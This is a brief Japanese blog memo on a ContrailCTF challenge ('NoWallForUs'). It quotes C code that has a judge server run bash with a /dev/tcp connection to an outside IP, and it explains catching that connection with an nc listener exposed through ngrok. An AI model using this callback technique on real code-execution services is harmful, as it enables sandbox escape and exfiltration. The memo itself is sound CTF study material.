あらまし
ContrailCTFにオンタイムで参加できず、writeupを見ながら復習していた時、ngrokなるサイトが紹介されていたのでメモがてら備忘録です。
NoWallForUs
という問題のwriteupに使われていました。シナリオとしては競プロサイトで、Cなど任意言語でhelloを出力するコードを提出する合間に、フラグを見つけるみたいな感じです。今回のwriteup参考サイトはこちら
www.ryotosaito.com
提出するコードにtcp通信を仕込みます。この通信先をさくっと準備するのにngrokを使っていました。
#include <unistd.h>
int main()
{
execl("/bin/bash", "/bin/bash", "-c", "echo hello &>/dev/tcp/17.xxx.xx.xx/1234", NULL);
return -1;
}
[引用元:https://www.ryotosaito.com/blog/?p=400]
自分のマシンで受け付ける
ngrokに登録して、必要なファイルをダウンロード。インストールを行います(省略)
ngrok - secure introspectable tunnels to localhost
ngrokが便利すぎる - Qiita
ローカルでリクエストを受け付けます。今回osはubuntuです。
$nc -l 1234
新しいタブを開いて、ngrokを起動し、ncで待ち受けているやつに紐付けます。
$./ngrok tcp 1234
コンソールが表示され接続先がわかります。
あとはpingなどを飛ばしてipアドレスを特定すれば、待ち受けるIPアドレスがわかるので、それと先ほど表示されたポートを使ってリクエストを送れると思います。